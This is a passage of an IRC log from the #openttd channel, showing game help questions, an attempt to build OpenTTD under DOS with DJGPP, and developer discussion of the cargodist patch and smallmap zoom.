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00:09:10 *** TruePikachu [~chris@cpe-67-49-42-88.socal.res.rr.com] has joined #openttd 00:10:12 <TruePikachu> I got new equipment from Time Warner 00:10:16 *** Devroush [~dennis@94-225-67-91.access.telenet.be] has quit [] 00:10:36 <TruePikachu> Brand new modem, NOT problematic (actually one that is quite nice) 00:10:49 <TruePikachu> Bought a 7dBi antenna for the modem 00:10:58 <TruePikachu> Got a very good wireless adapter 00:11:15 <TruePikachu> And successfully downloaded the OpenTTD server list :D 00:12:10 *** duckblaster [~duckblast@202-65-53-205.xdsl.net.oyster.net.ck] has joined #openttd 00:12:20 <TruePikachu> duckblaster, can you do me a favor? 00:12:28 <duckblaster> what? 00:12:44 <duckblaster> i only just logged in 00:13:05 <TruePikachu> Repeat this IP address: 67.49.42.88 (I'm checking if the modem is still changing it) 00:13:14 <duckblaster> ping it? 00:13:19 <TruePikachu> No, just repeat it 00:13:28 <duckblaster> 67.49.42.88 00:13:43 <duckblaster> 67 49 42 89 00:16:32 <Eddi|zuHause> doesn't look like an internal IP to me... 00:16:54 <duckblaster> i think that is what he wants to check 00:17:17 <duckblaster> maybe his router converts it from internal to external 00:18:52 *** duckblaster [~duckblast@202-65-53-205.xdsl.net.oyster.net.ck] has quit [Quit: Leaving.] 00:19:22 *** duckblaster [~duckblast@202-65-53-205.xdsl.net.oyster.net.ck] has joined #openttd 00:21:24 *** TruePikachu [~chris@cpe-67-49-42-88.socal.res.rr.com] has quit [Ping timeout: 480 seconds] 00:30:46 *** ctibor [~quassel@77.48.228.43] has quit [Ping timeout: 480 seconds] 00:30:52 <fjb> May be not the router. May be the provider... 00:31:15 *** epeli [~epeli@a91-153-31-161.elisa-laajakaista.fi] has quit [Quit: y0ink!!1] 00:33:35 *** `Fuco` [~dota.keys@188.123.106.105] has joined #openttd 00:39:23 *** Fuco [~dota.keys@188.123.106.105] has quit [Ping timeout: 480 seconds] 00:40:07 *** Fuco [~dota.keys@188.123.106.105] has joined #openttd 00:42:01 *** `Fuco` [~dota.keys@188.123.106.105] has quit [Ping timeout: 480 seconds] 00:45:17 *** mrprise [~mrprise@catv-89-133-113-61.catv.broadband.hu] has joined #openttd 00:45:17 *** glx [glx@2a01:e35:2f59:c7c0:ad61:73cd:a3b2:bf63] has quit [Quit: bye] 00:45:22 <mrprise> hello 00:47:10 *** CaptObvious [~matt@cpc3-darl7-2-0-cust55.know.cable.virginmedia.com] has joined #openttd 00:47:32 <CaptObvious> I remember a while ago I had an IRC bot that provided OpenTTD server info but I can't for the life of me remember what it was called. Anyone have any ideas? 00:48:39 <CaptObvious> aha, autopilot, nevermind :) 00:48:47 <Eddi|zuHause> aut... 00:49:08 <mrprise> how can I transfer wood goods? 00:49:24 <Eddi|zuHause> mrprise: what kind of transfer? 00:50:48 <mrprise> eg train. I could not find a wood goods car for trains 00:53:26 *** duckblaster [~duckblast@202-65-53-205.xdsl.net.oyster.net.ck] has quit [Ping timeout: 480 seconds] 01:03:01 *** pugi [~pugi@p4FCC4EF5.dip.t-dialin.net] has quit [Ping timeout: 480 seconds] 01:07:35 *** nad [~home@41.97.215.236] has joined #openttd 01:07:42 <nad> hi 01:10:34 *** lugo [~lugo@mgdb-4db8c321.pool.mediaWays.net] has quit [Remote host closed the connection] 01:13:04 *** Fuco [~dota.keys@188.123.106.105] has quit [Quit: Quit] 01:21:44 *** mrdiaz [~chatzilla@190.207.245.142] has joined #openttd 01:22:34 <mrdiaz> hi ... i can change the city name? 01:26:30 *** mrdiaz [~chatzilla@190.207.245.142] has quit [] 01:27:38 *** roboboy [~robotboy@CPE-58-173-41-16.nxzp1.ken.bigpond.net.au] has joined #openttd 01:32:28 *** mrprise [~mrprise@catv-89-133-113-61.catv.broadband.hu] has left #openttd [] 01:35:06 *** CIA-9 [cia@208.69.182.149] has quit [Ping timeout: 480 seconds] 01:49:13 <Sevalecan> stop.... git bisect time! 01:49:16 <Sevalecan> <# git. 01:49:17 <Sevalecan> <3^ 01:49:23 <Sevalecan> yes, my heart is exploding with joy. 01:51:00 *** fmauneko [~fmauneko@88.166.241.226] has quit [Remote host closed the connection] 01:51:38 *** nad [~home@41.97.215.236] has quit [] 02:03:47 *** fjb [~frank@p5485FCDC.dip.t-dialin.net] has quit [Ping timeout: 480 seconds] 02:17:00 *** hinstance [hinstance@wl206225.jaist.ac.jp] has joined #openttd 02:23:09 *** snc [znc@ip10.rdlbnc.com] has quit [Remote host closed the connection] 02:23:09 *** Englanddragon [znc@ip16.rdlbnc.com] has quit [Remote host closed the connection] 02:34:26 *** CIA-2 [~CIA@208.69.182.149] has joined #openttd 02:37:46 *** theholyduck [~holyduck@77.106.155.221] has quit [Ping timeout: 480 seconds] 02:43:30 *** snc [znc@ip10.rdlbnc.com] has joined #openttd 02:45:31 *** welshdragon [znc@ip16.rdlbnc.com] has joined #openttd 03:02:18 <CaptObvious> is there any way to make a dedicated server reload openttd.cfg without restarting it? 03:02:34 <CaptObvious> I accidentally left it on autosave every month and want to turn that off without restarting the server 03:02:47 <CaptObvious> I suppose I could just symlink /autosave to /dev/null :P 03:35:00 *** Kovensky [~kovensky@abraxo.bluebottle.net.au] has quit [Ping timeout: 480 seconds] 03:43:14 *** Kovensky [~kovensky@abraxo.bluebottle.net.au] has joined #openttd 03:57:15 *** welshdragon [znc@ip16.rdlbnc.com] has quit [Remote host closed the connection] 03:57:15 *** snc [znc@ip10.rdlbnc.com] has quit [Remote host closed the connection] 03:57:31 *** roboboy [~robotboy@CPE-58-173-41-16.nxzp1.ken.bigpond.net.au] has quit [Ping timeout: 480 seconds] 03:58:44 *** killingMachine [~me@200-96-166-155.bsace706.dsl.brasiltelecom.net.br] has joined #openttd 04:05:00 *** roboboy [~robotboy@CPE-58-173-41-16.nxzp1.ken.bigpond.net.au] has joined #openttd 04:14:14 *** hinstance [hinstance@wl206225.jaist.ac.jp] has quit [Quit: hinstance] 04:17:09 *** bryjen [~bryjen@63.147.94.149] has quit [Quit: Quit] 04:18:16 *** snc [znc@ip10.rdlbnc.com] has joined #openttd 04:19:46 *** Wizzleby [~wizzleby@pool-108-2-26-106.phlapa.east.verizon.net] has quit [Remote host closed the connection] 04:19:58 *** Kurimus [Kurimus@dsl-tkubrasgw1-fe34dc00-202.dhcp.inet.fi] has joined #openttd 04:20:16 *** welshdragon [znc@ip16.rdlbnc.com] has joined #openttd 04:22:04 *** killingMachine [~me@200-96-166-155.bsace706.dsl.brasiltelecom.net.br] has quit [Quit: -= http://www.comic-scans.net SysReset 2.55=-] 04:37:48 *** roboboy [~robotboy@CPE-58-173-41-16.nxzp1.ken.bigpond.net.au] has quit [Ping timeout: 480 seconds] 04:56:03 *** Eddi|zuHause [~johekr@p54B75116.dip.t-dialin.net] has quit [Remote host closed the connection] 04:56:25 *** Eddi|zuHause [~johekr@p54B77704.dip.t-dialin.net] has joined #openttd 05:00:16 *** roboboy [~robotboy@CPE-58-173-41-16.nxzp1.ken.bigpond.net.au] has joined #openttd 05:02:00 *** DDR [~chatzilla@66.183.125.176] has joined #openttd 05:23:16 *** roboboy [~robotboy@CPE-58-173-41-16.nxzp1.ken.bigpond.net.au] has quit [Ping timeout: 480 seconds] 05:26:53 *** Wizzleby [~wizzleby@pool-108-2-26-106.phlapa.east.verizon.net] has joined #openttd 05:28:26 *** KouDy [~KouDy@rb5ck203.net.upc.cz] has joined #openttd 05:38:24 *** Progman [~progman@p57A1BC77.dip.t-dialin.net] has joined #openttd 05:44:03 *** DDR_ [~chatzilla@66.183.125.176] has joined #openttd 05:48:45 *** DDR [~chatzilla@66.183.125.176] has quit [Ping timeout: 480 seconds] 05:49:00 *** DDR_ is now known as DDR 06:00:15 *** roboboy [~robotboy@CPE-58-173-41-16.nxzp1.ken.bigpond.net.au] has joined #openttd 06:00:28 *** JVassie_ [~James@92.27.149.231] has joined #openttd 06:04:36 *** snc [znc@ip10.rdlbnc.com] has quit [Remote host closed the connection] 06:04:36 *** welshdragon [znc@ip16.rdlbnc.com] has quit [Remote host closed the connection] 06:05:41 *** HerzogDeXtEr [~Flex@88.130.168.123] has quit [Ping timeout: 480 seconds] 06:05:54 *** JVassie_ [~James@92.27.149.231] has quit [Quit: Leaving] 06:21:10 *** Cybertinus [~Cybertinu@tunnel3304.ipv6.xs4all.nl] has joined #openttd 06:22:49 *** andythenorth [~andytheno@salieri.openttdcoop.org] has joined #openttd 06:23:03 <andythenorth> morning 06:25:49 *** snc [znc@ip10.rdlbnc.com] has joined #openttd 06:27:50 *** welshdragon [znc@ip16.rdlbnc.com] has joined #openttd 06:31:42 *** hinstance [hinstance@wl206225.jaist.ac.jp] has joined #openttd 06:31:58 *** hinstance [hinstance@wl206225.jaist.ac.jp] has left #openttd [] 06:37:13 *** ^Spike^ [~spike@d200003.upc-d.chello.nl] has joined #openttd 06:49:19 <roboboy> hello 06:54:16 *** DDR_ [~chatzilla@66.183.125.176] has joined #openttd 06:54:25 *** Wolf01 [~wolf01@host41-235-dynamic.4-87-r.retail.telecomitalia.it] has joined #openttd 06:55:11 <Wolf01> hello 06:57:35 <planetmaker> moin 06:57:43 <planetmaker> CaptObvious: that's what you have rcon for 06:59:48 *** DDR [~chatzilla@66.183.125.176] has quit [Ping timeout: 480 seconds] 06:59:58 *** DDR_ is now known as DDR 07:01:38 *** Eddi|zuHause2 [~johekr@p54B77704.dip.t-dialin.net] has joined #openttd 07:01:59 *** robotboy [~robotboy@CPE-58-173-41-16.nxzp1.ken.bigpond.net.au] has joined #openttd 07:04:13 *** PeterT_ [PeterT@peter.tarkoy.com] has joined #openttd 07:04:51 *** TB [~patric@145.118.72.132] has joined #openttd 07:06:50 *** Netsplit synthon.oftc.net <-> oxygen.oftc.net quits: PeterT, Eddi|zuHause, roboboy, TrueBrain 07:06:50 *** PeterT_ is now known as PeterT 07:08:09 <andythenorth> planetmaker: so Action D is easy? :P 07:10:58 <planetmaker> yes 07:11:39 <planetmaker> -1 * 00 0D 8E \D= FF 00 \wNEWVALUE 07:11:51 <planetmaker> sets global var 8E to NEWVALUE 07:12:31 <planetmaker> hm... it should be \dNEWVALUE 07:12:37 <andythenorth> my guess had the arguments wrong :) 07:12:48 *** DDR [~chatzilla@66.183.125.176] has quit [Ping timeout: 480 seconds] 07:12:48 <planetmaker> or whatever the 4-byte argument is 07:13:31 <andythenorth> my gcc finished :o 07:14:02 <planetmaker> :-) 07:14:09 *** DDR [~chatzilla@66.183.125.176] has joined #openttd 07:22:31 *** Alberth [~hat@a82-95-164-127.adsl.xs4all.nl] has joined #openttd 07:22:45 <andythenorth> morning Alberth :) 07:22:47 <andythenorth> nice patch 07:22:52 <Alberth> good morning 07:23:09 <Alberth> navigating the industries makes sense ? 07:24:10 <andythenorth> It's quite easy to get lost, but it still feels intuitive to me 07:24:15 <andythenorth> if that makes sense 07:24:44 <Alberth> so you get lost intuitively :p ok :) 07:25:04 <Alberth> hopefully more people will play alternative industry sets now :) 07:26:51 <andythenorth> I would have no problem with that :) 07:27:15 * robotboy wonders how he is supposed to build OpenTTD using DJGPP if there is no configure that comes with it 07:27:49 * andythenorth is looking for white pixels 07:27:50 <andythenorth> grr 07:29:18 <andythenorth> yay. no white pixels 07:35:19 <Alberth> configure is part of the application, not of the compiler 07:36:07 <andythenorth> :) http://www.tt-forums.net/download/file.php?id=132192 07:38:15 * andythenorth could do with a diaresis (?) on "Gmund" 07:38:28 <Alberth> doing trains as well now? 07:39:01 <andythenorth> just a little one 07:39:28 <Alberth> that's how everything starts :) 07:43:17 <Terkhen> good morning 07:44:39 <andythenorth> hi Terkhen 07:44:57 <andythenorth> Terkhen: have you coded smoke for RVs yet? 07:45:47 <andythenorth> :P 07:47:01 <Terkhen> I have not been coding much lately.. only small things 07:47:06 <Terkhen> university steals most of my time 07:48:03 <Terkhen> right now I'm thinking about taking a free saturday, but I shouldn't until my project starts working as intended 07:49:30 <andythenorth> :) 07:52:32 *** DDR [~chatzilla@66.183.125.176] has quit [Remote host closed the connection] 08:00:25 <ccfreak2k> <andythenorth> :) http://www.tt-forums.net/download/file.php?id=132192 08:00:28 <ccfreak2k> Toot toot :3 08:09:20 *** pugi [~pugi@p4FCC4EF5.dip.t-dialin.net] has joined #openttd 08:23:50 <Terkhen> oh, now HEQS has trains? 08:24:28 *** robotboy [~robotboy@CPE-58-173-41-16.nxzp1.ken.bigpond.net.au] has quit [Ping timeout: 480 seconds] 08:25:17 <andythenorth> Terkhen: a sort of train, yes :) 08:25:38 * andythenorth is hoping someone will code *actual* road-rail vehicles :P 08:25:45 * andythenorth is not too hopeful of that :) 08:25:58 <andythenorth> multi mode vehicles would be brilliant 08:26:05 <andythenorth> hovercraft on land 08:26:13 <andythenorth> sea trucks 08:26:16 <andythenorth> road-railers 08:26:22 <andythenorth> flying car.... 08:30:40 <De_Ghosty> flying trains 08:30:54 <De_Ghosty> swimming air 08:31:16 *** Coco-Banana-Man [~Stephan.D@p5B2DBF65.dip.t-dialin.net] has joined #openttd 08:35:08 *** robotboy [~robotboy@CPE-58-173-41-16.nxzp1.ken.bigpond.net.au] has joined #openttd 08:45:01 *** TomyLobo [~foo@port-212-202-171-176.dynamic.qsc.de] has joined #openttd 08:45:17 <TomyLobo> hi 08:45:38 <TomyLobo> is it possible to increase the map size after starting it? 08:49:42 <Alberth> no 08:55:39 *** Biolunar [mahdi@blfd-5d823cb9.pool.mediaWays.net] has joined #openttd 09:02:32 *** Aali [~aali@h-90-31.A189.priv.bahnhof.se] has quit [Ping timeout: 480 seconds] 09:10:26 *** robotboy [~robotboy@CPE-58-173-41-16.nxzp1.ken.bigpond.net.au] has quit [Ping timeout: 480 seconds] 09:17:43 *** fonsinchen [~fonsinche@brln-4dbaac58.pool.mediaWays.net] has joined #openttd 09:20:15 *** heffer [~felix@HSI-KBW-095-208-017-052.hsi5.kabel-badenwuerttemberg.de] has joined #openttd 09:29:36 *** ctibor [~quassel@77.48.228.43] has joined #openttd 09:30:25 *** Chris_Booth [~chatzilla@client-86-31-224-240.oxfd.adsl.virginmedia.com] has joined #openttd 09:52:13 *** Brianett1 [~brian@188-220-91-30.zone11.bethere.co.uk] has joined #openttd 09:52:13 *** Brianetta [~brian@188-220-91-30.zone11.bethere.co.uk] has quit [Read error: Connection reset by peer] 09:57:02 *** robotboy [~robotboy@CPE-58-173-41-16.nxzp1.ken.bigpond.net.au] has joined #openttd 09:59:30 *** Brianett1 is now known as Brianetta 10:00:15 * robotboy wonders how he will solve the issue of not having a configure script when building OpenTTD on DOS 10:00:39 <Alberth> a configure script is part of openttd afaik 10:01:18 <planetmaker> robotboy: cross-compile 10:01:25 <robotboy> it is but it's for *nix and I want to use DJGPP to compile for DOS on DOS 10:01:32 <Alberth> you should be able to run it with a shell 10:01:48 *** andythenorth [~andytheno@salieri.openttdcoop.org] has left #openttd [] 10:01:56 <robotboy> I don't have a *nix machine or cygwin 10:03:01 *** ajmiles [~aj@78-86-188-187.zone2.bethere.co.uk] has joined #openttd 10:04:54 <Alberth> you don't have bash or so? 10:05:09 <TomyLobo> there are debian vmware player images, easy to use 10:05:28 <fonsinchen> how do you usually configure things you build with DJGPP? 10:05:31 <Alberth> TomyLobo: the point is to use djgpp 10:08:10 *** Yexo [~Yexo@ip51cca4b5.adsl-surfen.hetnet.nl] has joined #openttd 10:08:21 <Rubidium> robotboy: compile bash for DOS and use bash 10:12:42 <robotboy> I shall try that 10:13:01 <robotboy> hopefuly it won't require a configure script 10:13:45 *** snc [znc@ip10.rdlbnc.com] has quit [Quit: Bye] 10:13:45 *** welshdragon [znc@ip16.rdlbnc.com] has quit [Quit: Hosted by rdlBNC] 10:15:02 <CIA-2> OpenTTD: alberth * r20211 /trunk/src/ (49 files in 10 dirs): -Codechange: Indented code should have curly braces around it. 10:17:43 *** a1270 [~Cheese@72-24-233-98.cpe.cableone.net] has joined #openttd 10:18:32 <fonsinchen> "49 files in 10 dirs" <- great fun ahead for patch developers :( 10:19:33 *** tokai [~tokai@port-92-195-127-204.dynamic.qsc.de] has quit [Ping timeout: 480 seconds] 10:19:49 <Rubidium> it helps the "but you're not following coding style yourself" "reasoning" for not complying to the coding style of patch developers 10:21:25 *** tokai [~tokai@port-92-195-87-13.dynamic.qsc.de] has joined #openttd 10:21:28 *** mode/#openttd [+v tokai] by ChanServ 10:23:26 <Alberth> quite a few changes in low level code, like network, path-finding, and graphic drivers. most patches don't touch that area I think 10:23:54 <fonsinchen> I' 10:23:59 <fonsinchen> ll try to merge it 10:25:32 *** Wizzleby [~wizzleby@pool-108-2-26-106.phlapa.east.verizon.net] has quit [Remote host closed the connection] 10:25:33 <fonsinchen> wow, not a single conflict. It looked much worse than it actually is. 10:27:12 <Alberth> very old and untouched code thus :) 10:29:20 *** Eoin__ [eoin@cpc1-dund8-0-0-cust17.sgyl.cable.virginmedia.com] has joined #openttd 10:29:39 *** Eoin__ is now known as Eoin 10:30:00 <robotboy> hopefuly I don't need the configure script for bash 10:30:26 <robotboy> otherwise ill need to port bash myself 10:31:24 <planetmaker> :-D 10:32:09 <robotboy> there is a guide on the DJGPP site 10:32:19 <robotboy> for porting GNU programs 10:33:54 *** TB is now known as TrueBrain 10:36:01 *** Yexo [~Yexo@ip51cca4b5.adsl-surfen.hetnet.nl] has quit [Ping timeout: 480 seconds] 10:45:05 <robotboy> looks like I might need it 10:47:57 <TomyLobo> seriously, why dos? :) 10:48:07 <planetmaker> TomyLobo: just because 10:48:14 <TomyLobo> ah, good reason 10:48:43 <planetmaker> is there a reason to play? 10:48:47 <planetmaker> just because 10:49:26 <robotboy> hm I shall try the DJGPP prot I found 10:49:37 *** Devroush [~dennis@94-225-67-91.access.telenet.be] has joined #openttd 10:50:11 <robotboy> TomyLobo, I am the traditional tester of all things TTD DOS related on here and the forums 10:50:37 <robotboy> or atleast since I joined the forums 10:51:25 <Rubidium> it's the challenge 10:52:14 <Rubidium> and it's just to "discredit" people saying OpenTTD doesn't work under DOS 10:54:35 *** Chrill [~chrischri@h-5-149.A212.priv.bahnhof.se] has joined #openttd 10:54:38 *** NoBrainHere [~yuraconst@178.34.9.239] has joined #openttd 10:54:49 <TomyLobo> 19 years since the release of ms dos 5.0 10:55:03 <NoBrainHere> Hi. 10:55:17 <Wolf01> I want to ask something really off topic: does anybody knows "Alice Cooper - Poison"? 10:55:29 <Rubidium> TrueBrain: is NoBrainHere family of you? 10:55:36 <Chrill> no, we've never heard of perhaps the most famous rock song of all time, Wolf01 :) 10:56:08 <TrueBrain> Rubidium: hell no 10:56:34 <Rubidium> oh, in that case... welcome NoBrainHere :) 10:56:36 <Wolf01> then, the very first words are "Your cruel device" or "You're cruel demise" which sounds almost the same but the second one meaning is more suitable? 10:56:42 <TrueBrain> grrr @ Rubidium 10:57:25 * NoBrainHere explodes 10:57:26 <Rubidium> Wolf01: I would've said no, but now google's playing it for me it sounds awkwardly familiar 10:57:46 <Rubidium> TrueBrain, nice guard dog :) 10:58:20 <Wolf01> In all lyrics sites I find always the first sentence, but IMHO it's the second, at least as I can understand with my poor English :P 10:58:35 <planetmaker> lol @ Rubidium + TrueBrain 's old couple behaviour ;-) 10:58:50 <NoBrainHere> old-games.ru is illegally providing CS'TTD with "de" graphics. 10:59:20 <planetmaker> eh? 10:59:26 <NoBrainHere> original TTD for DOS, 4.76 mb packaged 10:59:29 <__ln__> so? 10:59:46 <TomyLobo> it's not like it's legally available anymore anyway 10:59:49 <planetmaker> people do things which we don't endorse 10:59:56 <planetmaker> TomyLobo: wrong! 11:00:01 <TomyLobo> it is? 11:00:02 <__ln__> a russian website illegally providing a commercial game; that's big news! 11:00:22 <NoBrainHere> Russian inet must be wiped 11:00:38 <NoBrainHere> and only weather/news sites must remain 11:00:39 <Rubidium> TomyLobo: http://www.chrissawyergames.com/info.htm#purchase 11:01:10 <Rubidium> NoBrainHere: we can't do anything about the original TTD being distributed, besides doing something about it on our "own" sites 11:02:03 <TomyLobo> interesting 11:02:35 <TrueBrain> it is not like we have the power to wipe the whole internet from the non-legal versions :D 11:03:01 <planetmaker> TomyLobo: and even if it were not available: it does give no one the right to distribute it - except the copyright holders 11:03:12 <planetmaker> Unless they're 70 years dead or so. But that's unlikely 11:03:38 <TomyLobo> sure, but in that case it doesn't mean taking their money or something 11:03:46 <planetmaker> not? 11:03:48 * robotboy waits for GREP to unzip 11:03:57 <TomyLobo> unless they plan to market it later, which, in most cases, never happens 11:04:07 <planetmaker> TomyLobo: so you know what they plan? 11:04:33 <TomyLobo> and even IF they do. if i want to play it now that doesnt mean i want to play it in 3 years when they re-release it 11:04:58 *** KenjiE20 [~KenjiE20@92.18.5.195] has joined #openttd 11:05:17 <robotboy> what should I set my home environment variable to so that configure doesn't complain? 11:05:53 <Rubidium> AFAIK it doesn't check $HOME 11:06:05 <robotboy> I got bash and it works 11:06:13 <robotboy> hm it said HOME not set 11:06:25 <Rubidium> that's bash itself 11:06:36 <robotboy> ok and I can ignore that 11:06:49 <Alberth> any directory would do, I think 11:07:32 <Alberth> it is probably used to find your ~/.bashrc etc files 11:07:43 * robotboy wonders if he could build TTDP with DJGPP since they ported the ASM bit of GCC 11:08:02 <robotboy> hm ok 11:08:51 <NoBrainHere> CS might pretty much re-release the game for some lame ARM netbook. In that case, old-games.ru would be wiped 11:09:29 <planetmaker> NoBrainHere: yes. Nothing to worry about, though 11:09:32 <Alberth> NoBrainHere: go complain with CS if this RU site is so upsetting you 11:09:42 <robotboy> but he said he doesn't own it anymore 11:10:21 <Rubidium> and don't forget mediazona 11:10:28 *** Yexo [~Yexo@ip51cca4b5.adsl-surfen.hetnet.nl] has joined #openttd 11:10:36 <Alberth> well, go to the company that owns it, then. They may want to stop them 11:10:39 <NoBrainHere> mediazona's link is dead, anyway 11:11:37 <NoBrainHere> old-games.ru sometimes removes downloads if a game is found to be sold in Russia and/or other ex-USSR countries. 11:13:10 <Rubidium> you can just order it on the internet, so it'll be delivered at your doorstep... pretty much means it's sold there as well 11:13:33 <Rubidium> but... please don't bother us with some random site infringing rights that aren't ours 11:13:56 <Rubidium> please write a nice letter to Atari, so they can say they aren't bothered either 11:14:31 <NoBrainHere> Atari owns the loco thing 11:14:38 <planetmaker> so? 11:14:46 <NoBrainHere> not the TTD. 11:14:49 <Alberth> NoBrainHere: we really don't care about such stuff 11:14:51 <planetmaker> it doesn't own openttd. 11:15:03 <planetmaker> and openttd is what this channel is about 11:15:12 <Rubidium> NoBrainHere: you're 100% sure Atari doesn't own TTD? 11:15:51 <NoBrainHere> OTTD is TTD engine for Unix/WinNT. 11:16:04 <Rubidium> NoBrainHere: you're absolutely making no sense here 11:16:20 * robotboy considers changing his nick to roboman since he is 19 11:16:50 *** NoBrainHere is now known as TheWorstRoboPig 11:16:54 *** Eddi|zuHause2 is now known as Eddi|zuHause 11:17:16 <Chrill> yay 11:17:21 <Chrill> when didi roboman become 19? 11:17:36 <robotboy> in june 11:17:41 <Chrill> Ah, belated congratulations then! :D 11:17:54 <robotboy> thanx 11:17:57 <Chrill> also, I surely win. I'm older than the robotboy 11:18:25 * TheWorstRoboPig regs on atari forum 11:21:40 *** mode/#openttd [+q *!*@178.34.9.239] by Rubidium 11:23:43 <Rubidium> would there be use for smallmap zoom-in in "current" OpenTTD, and if so... for what reasons? (That it's needed for cargod*st isn't considered a valid reason for this question) 11:24:47 <SpComb> will very contrieved reasons do? 11:25:13 * SpComb doesn't really see any "valid" reasons 11:25:28 <SpComb> the tiles themselves contain very little extra information if zoomed in, it's just the... stuff.. that you draw on top of them 11:26:02 *** Jhs [~Jhs4@188.113.85.20] has quit [Ping timeout: 480 seconds] 11:28:08 <TomyLobo> blind people maybe? 11:28:14 <TomyLobo> or people with huge screens 11:28:34 <Rubidium> people with huge screens generally have less of a problem 11:28:35 <TomyLobo> i mean huge resolutions 11:29:02 <Rubidium> small screens with huge resolutions (15" @ 1920x1200) might have trouble, but then... I'm not having trouble 11:29:12 <Alberth> doubling the graphics of the viewport would be my first solution for such problems 11:29:55 <TomyLobo> Alberth hmm how to do that? 11:30:57 *** tdev [~udev@p508EB3AC.dip.t-dialin.net] has joined #openttd 11:31:00 <Alberth> no idea, but it seems like a better solution to 'graphics are too small' than changing the smallmap imho 11:31:23 <TomyLobo> oh you were talking about the minimap 11:31:36 *** TheWorstRoboPig [~yuraconst@178.34.9.239] has left #openttd [] 11:31:55 <Alberth> TomyLobo: yes, the min-map is called 'smallmap' 11:32:01 <fonsinchen> I wrote smallmap-zoom-in especially for cargodist. If you're considering cargodist for merging (sometime in the future) you may want to do that bit by bit. Smallmap-zoom-in might be a suitable first step. 11:33:14 <Eddi|zuHause> i don't see a reason other than cargodist for it either... 11:33:24 <fonsinchen> We should make some kind of plan in that case, though ... 11:34:38 <TomyLobo> Alberth on my screen it's simply called "map" ^^ 11:34:40 <Alberth> I'd first need convincing reasons there are no other solutions. Even the small map gets cluttered so badly you need 8x zoom-in, so something seems to be not right, imho 11:35:04 <Hirundo> Does the structure of cargodist allow other, simpler routing algorithms than MCF ? 11:35:24 <fonsinchen> yes, you could replace that link graph handler with something else. 11:35:44 * robotboy hopes not too many dls to get configure to work 11:35:53 <fonsinchen> it's completely contained in mcf.{h|cpp} and it has a clean interface. 11:36:06 <Alberth> TomyLobo: the source file of that window is called 'smallmap_gui.cpp', hence its name 11:36:23 <Eddi|zuHause> fonsinchen: Celestar had some kind of problem with unsatisified links vs. oversatisfied links 11:36:29 * Hirundo checks source 11:36:34 <fonsinchen> when? where? 11:36:39 <TomyLobo> ah 11:36:45 <Eddi|zuHause> a line A-B-C was totally congested, while A-C was almost emptry 11:36:48 <Eddi|zuHause> -r 11:36:56 <Eddi|zuHause> fonsinchen: in here, a few days ago 11:37:16 <fonsinchen> @seen Celestar 11:37:16 <DorpsGek> fonsinchen: Celestar was last seen in #openttd 1 day, 20 hours, 11 minutes, and 38 seconds ago: <Celestar> heading home before the Cbs decide to unload 11:38:03 <SpComb> Eddi|zuHause: wasn't that non-stop? 11:38:09 <SpComb> or, well, non-non-stop 11:38:11 <Eddi|zuHause> SpComb: maybe 11:38:20 <Eddi|zuHause> don't remember all details 11:38:29 <SpComb> link to irclogs 11:39:28 <SpComb> http://irclogs.qmsk.net/channels/openttd/link/1279808524#1279808524 11:39:47 <SpComb> »» 17:29:03 < Eddi|zuHause> Celestar: no, cargodist does not handle non-non-stop properly 11:39:50 <SpComb> »» 17:29:30 < Celestar> aaha 11:39:53 <SpComb> »» 17:29:34 < Celestar> that|s the problem 11:40:28 <Eddi|zuHause> yeah, imho that's the most pressing missing feature that would block a trunk merge for me... 11:41:24 <Eddi|zuHause> SpComb: i don't remember everything i say ;) 11:41:28 <SpComb> I'm perfectly happy giving full orders, never even realized you could do something else until I started playing cargod*st 11:42:20 <Eddi|zuHause> SpComb: sometimes i'm reading old threads on the forum, and while reading i think "someone should reply 'XYZ'", and when i scroll down, i read "Reply by Eddi: 'XYZ'", and i think "hey, cool" :p 11:42:24 <robotboy> hm more bits needed 11:42:31 <Hirundo> fonsinchen: The way I see it is that any algorithm has to answer two basic questions 11:42:57 <Hirundo> What will be the destination of cargo X? Should I board vehicle Y to get there? 11:43:00 * Alberth gives robotboy lots of 0s and 1s 11:43:35 <fonsinchen> any algorithm to replace MCF? But how is MCF the problem here? 11:43:55 <fonsinchen> the problems I've heard mentioning are nondeterministic orders and the smallmap. 11:44:21 <Eddi|zuHause> i don't think the question was related to those ;) 11:44:21 <fonsinchen> We could just drop the smallmap for now. It's not that important. You can get all the info from the station windows. 11:44:28 <SpComb> wasn't one of the arguments that the linkgraph could be drawn on the main game viewport? 11:45:17 <SpComb> i.e. with zoomin the smallmap and main viewport become too similar 11:45:20 <fonsinchen> I think the other nondeterministic orders are much harder. I've wasted a lot of time thinking about a solution for those. 11:45:55 <Eddi|zuHause> fonsinchen: one tiny thing i was missing a while back, when hovering over a link in the link graph, it highlights, but when you click on it, it jumps to the location you clicked, not to the stations involved [like it would when clicking a subsidy newspaper] 11:46:01 <Hirundo> I think the threaded linkgraph/mcf solver adds a lot of complexity, i.e. more code to review 11:46:06 <planetmaker> Message: Assertion failed at line 168 of /Users/ingo/ottd/trunk/src/vehicle.cpp: (this->vehstatus & VS_CRASHED) == 0 <-- I get that when loading a pretty old savegame. Can a wrong station tile cause that? 11:46:50 <Eddi|zuHause> planetmaker: post the savegame 11:47:13 <fonsinchen> Hirundo: I don't think the code can be made significantly shorter. The threading is already optional and if I implemented that "stepping" solution the code would actually grow, not shrink. 11:47:31 <planetmaker> http://wiki.openttdcoop.org/PublicServer:Archive_-_Games_61_-_70#gameid_62 <-- savegame link 11:48:12 <Hirundo> The code can be made shorter by not doing it (yet) 11:48:48 <robotboy> downloads gawk 11:49:07 <Alberth> would doing it the other way around be useful, ie first implement balancing-ish code, and at the end do cargo-dist 11:49:12 <robotboy> my DOS is going to end up being more *nix 11:49:26 <planetmaker> dosnix? 11:49:30 <fonsinchen> what do you mean by "balancing-ish code"? 11:49:34 <Alberth> you seem to be building your own unix 11:49:40 <robotboy> yep 11:49:49 <robotboy> ohwell 11:50:09 <Eddi|zuHause> robotboy: well, you could try to port configure to .bat ;) 11:50:16 <robotboy> better batchsh scripting capabilities 11:50:17 <planetmaker> http://www.openttdcoop.org/files/publicserver_archive/PublicServerGame_62_Final.sav <-- actually... direct savegame link @ Eddi|zuHause 11:51:42 <Alberth> fonsinchen: eg do time-tabling first or some other form of balancing cargoes at the stations. However, that is only useful if you can build on top of that 11:52:17 <fonsinchen> how does timetabling balance cargoes at the stations? 11:52:26 <Alberth> ie is MCF a solution for the CD problem, or does it already exist today? 11:52:34 <Eddi|zuHause> hm... missing lots of grfs... 11:53:20 <planetmaker> that's why I'm actually asking ;-) 11:53:30 <fonsinchen> MCF is a solution for that cargodist problem and such a solution doesn't exist (in trunk) today. But I guess you're 